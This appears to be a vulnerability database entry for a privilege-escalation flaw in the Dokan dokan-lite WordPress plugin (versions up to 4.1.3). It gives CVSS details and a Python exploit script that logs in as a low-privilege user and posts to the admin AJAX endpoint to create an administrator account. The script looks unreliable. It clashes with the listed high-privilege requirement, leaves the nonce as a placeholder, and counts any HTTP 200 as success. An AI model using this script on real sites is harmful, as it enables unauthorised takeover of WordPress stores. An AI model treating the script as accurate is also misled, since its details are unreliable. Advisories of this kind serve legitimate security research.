Incorrect Privilege Assignment vulnerability in Dokan, Inc. Dokan dokan-lite allows Privilege Escalation.This issue affects Dokan: from n/a through <= 4.1.3.
CVSS Details
CVSS Score
7.2
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
Configurations (Affected Products)
No configuration data available.
Dokan dokan-lite <= 4.1.3
Dokan dokan-lite from n/a through <= 4.1.3
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests
import re
# CVE-2025-53425 Dokan Plugin Privilege Escalation PoC
# Target: WordPress site with vulnerable Dokan plugin (<=4.1.3)
target_url = "http://target-wordpress-site.com"
username = "attacker"
password = "attacker123"
session = requests.Session()
# Step 1: Login as regular user
login_url = f"{target_url}/wp-login.php"
login_data = {
"log": username,
"pwd": password,
"wp-submit": "Log In",
"redirect_to": "/wp-admin/",
"testcookie": "1"
}
session.post(login_url, data=login_data)
# Step 2: Exploit privilege escalation via AJAX endpoint
ajax_url = f"{target_url}/wp-admin/admin-ajax.php"
exploit_data = {
"action": "dokan_create_admin_user",
"new_user_email": "[email protected]",
"new_user_role": "administrator",
"_wpnonce_create_user": "[Obtain valid nonce]"
}
response = session.post(ajax_url, data=exploit_data)
# Step 3: Verify admin account creation
if "success" in response.text or response.status_code == 200:
print("[+] Privilege escalation successful - Admin account created")
else:
print("[-] Exploit failed - Target may be patched or not vulnerable")